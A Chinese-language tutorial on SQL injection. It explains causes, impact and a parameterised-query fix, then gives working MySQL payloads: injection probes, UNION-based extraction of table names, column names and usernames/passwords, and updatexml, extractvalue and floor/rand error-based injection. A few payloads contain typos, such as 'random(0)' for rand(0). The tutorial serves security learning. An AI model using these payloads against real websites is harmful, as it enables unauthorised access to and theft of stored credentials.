sql注入

  1. 漏洞成因
  2. 攻击方式
  3. 修复方案
  4. sql基础
    1. 基础知识
    2. 基础sql语句
    3. 注释
  5. 注入姿势及绕过
    1. mysql常见注入姿势
      1. 联合查询
        1. 注入流程
      2. 报错注入

漏洞成因

如果传入的SQL语句被恶意用户控制或者篡改,将导致数据库以当前调用者的身份执行预期之外的命令并且返回结果,导致安全问题。

攻击方式

通过典型的SQL注射漏洞,黑客是可以根据所能控制的内容在SQL语句的上下文导致不同的结果的,这种不同主要体现在不同的数据库特性上和细节上。同时,后端的数据库的不同导致黑客能利用SQL语句进行的操作也并不相同,因为很多的数据库在标准的SQL之外也会实现一些自身比较特别的功能和扩展,常见的有Sqlserver的多语句查询Mysql的高权限可以读写系统文件Oracle经常出现的一些系统包提权漏洞。 即使一些SQL注射本身无法对数据本身进行一些高级别的危害,譬如一些数据库里可能没有存储私密信息,利用SQL查询的结果一样可能对应用造成巨大的灾难,因为应用可能将从数据库里提取的信息做一些其他的比较高危险的动作,譬如进行文件读写,这种本身无价值的数据和查询一旦被应用本身赋予较高的意义的话,可能一样导致很高的危害。 评估一个SQL注射的危害需要取决于注射点发生的SQL语句的上下文,SQL语句在应用的上下文,应用在数据库的上下文,综合考虑这些因素来评估一个SQL注射的影响,在无上述利用结果的情况下,通过web应用向数据库传递一些资源要求极高的查询将导致数据库的拒绝服务,这将是黑客可能能进行的最后的利用。

修复方案

比较传统的修复方式一般认为是对输入的数据进行有效的过滤,但是由于输入的来源太过广泛,可能来自于数据库,HTTP请求,文件或者其他的数据来源,较难对所有进入的数据在各种场景下进行有效的过滤。 事实上最罪恶的不是数据,而是我们使用数据的方式,最为彻底的修复一定要查找最为彻底的根源,我们可以看到最后的根源在于对数据和指令的不分离,所以在修复的时候应该极力将数据和指令分离。目前较为提倡的,同时在各种数据库操作框架里体现的方式就是以填充模板的方式来代替传统的拼接的方式进行数据库查询譬如:

$SqlTemplate="select * from members where userid={userid|int}";

$sb->PreSql($SqlTemplate,$_GET['userid']);

模板里有关数据及数据自身意义的描述,PreSql方法将实现将模板和数据安全的转换为SQL语句的功能,以保障最终的安全的实现。

sql基础

SQL语法具体不同的数据库还会有自己特有的一些语法结构或者函数等,这些都有可能成为我们注入的工具

基础知识

information_schema数据库是MySQL系统自带的数据库,它提供了数据库元数据的访问方式。

information_schema数据库里包含有SCHEMATA、TABLES、COLUMNS表,其中SCHEMATA表里面有SCHEMA_NAME(数据库库名)等字段,TABLES表里面有TABLE_SCHEMA(数据库库名)和TABLE_NAME(表名)等字段,COLUMNS表里面有TABLE_SCHEMA(数据库库名)、TABLE_NAME(表名)和COLUMN_NAME(字段名)等字段

基础sql语句

SQL语法 去学!

注释

-- 注释内容
#注释内容
/*注释内容*/
;

注意:

1、在get请求中,#号是用来指导浏览器动作的,对服务端无用,而使用--空格的时候在传输过程中最后的空格会被忽略,同样导致无法注释。所以在get请求中注释需要用--+(+会被解码成空格)或--%20或%23(解码后为#)来进行注释
2、在post请求中,可以直接使用#来闭合

注入姿势及绕过

mysql常见注入姿势

注:Mysql对大小写不敏感

联合查询

UNION可以将前后两个查询语句的结果拼接到一起,但是会自动去重。

UNION ALL功能相同,但是会显示所有数据,不会去重。

具有类似功能的还有JOIN https://blog.csdn.net/julielele/article/details/82023577 但是是一个对库表等进行连接的语句,可以利用它来进行无列名注入。

注入流程

1、判断是否存在注入,注入是字符型还是数字型,闭合情况,绕过方式

?id=1 and 1=2  /*数字型会返回假,字符型会由于mysql的隐式转换返回真*/
?id=1' 
?id=1" 
?id=1') 
?id=1") 
?id=1' or 1#
?id=1' or 1=0#
?id=1' and sleep(5)#
?id=1' and 1=2 or '
?id=1\

2、猜测SQL查询语句中的字段数

使用 order/group by 语句,通过往后边拼接数字指导页面报错,可确定字段数量。

1 order by 3
1 order by 4
1' order by 3#
1' order by 4#

使用 union select 联合查询,不断在 union select 后面加数字,直到不报错,即可确定字段数量。

1 union select 1,2#
1 union select 1,2,3#
1' union select 1,2#
1' union select 1,2,3#

3、确定显示数据的字段位置

-1 union select 1,2#
-1 union select 1,2,3#
-1' union select 1,2#
-1' union select 1,2,3#

4、获取数据

获取当前数据库名

-1' union select 1,2,database()--+

获取当前数据库的表名

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+

获取表中的字段名

-1‘ union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+

获取数据

-1' union select 1,2,group_concat(id,0x7c,username,0x7c,password) from users--+

-1' union select 1,(select group_concat(id,0x7c,username,0x7c,password) from users),3--+

报错注入

0x01 UPDATEXML (XML_document, XPath_string, new_value);

  • 第一个参数:XML_document是String格式,为XML文档对象的名称 文中为Doc
  • 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
  • 第三个参数:new_value,String格式,替换查找到的符合条件的数据

由于updatexml的第二个参数需要Xpath格式的字符串,如果不符合xml格式的语法,就可以实现报错注入了。

' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

注:concat和group_concat函数的区别:CONCAT 用于连接两个或多个字符串,而 GROUP_CONCAT 用于将组内的值连接成一个字符串并用逗号分隔开来。

0x02 extractvalue(XML_document,Xpath_string)

第一个参数可以是anything,第二个参数要求的是Xpath格式的字符串,语法正确是会按照路径
/该xml文件/要查询的字符串 进行查询,如果我们输入的Xpath_string不对就会报错

’ and (extractvalue(1,concat(0x7e,substring(hex((select database())),1,5))))

0x00 floor()(8.x>mysql>5.0)[双查询报错注入]

函数返回小于或等于指定值(value)的最小整数,取整

通过floor报错的方法来爆数据的本质是group by语句的报错。group by语句报错的原因是floor(random(0)*2)的不确定性,即可能为0也可能为1
group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表中的数据;如果该key不存在于临时表中,则在临时表中插入key所在行的数据。
group by floor(random(0)*2)出错的原因是key是个随机数,检测临时表中key是否存在时计算了一下floor(random(0)*2)可能为0,如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时floor(random(0)*2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。
select count(*), concat('~',(select user()),'~', floor(rand()*2))as a from information_schema.tables group by a;

双查询报错注入的原理

https://blog.csdn.net/lixiangminghate/article/details/80466257

https://www.freebuf.com/articles/web/250376.html

可以看到这里实际上不光使用了报错注入还是用了刚刚的联合查询,同时还是一个双查询的报错注入,当在一个聚合函数,比如count()函数后面如果使用group by分组语句的话,就可能会把查询的一部分以错误的形式显示出来。但是要多次测试才可以得到报错

还有一个再复杂一点的,叫派生表,需要使用select 1 from (table name); 这样的语法来报错:

select 1 from (select count(*), concat('~',(select user()),'~', floor(rand()*2))as a from information_schema.tables group by a)x;

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。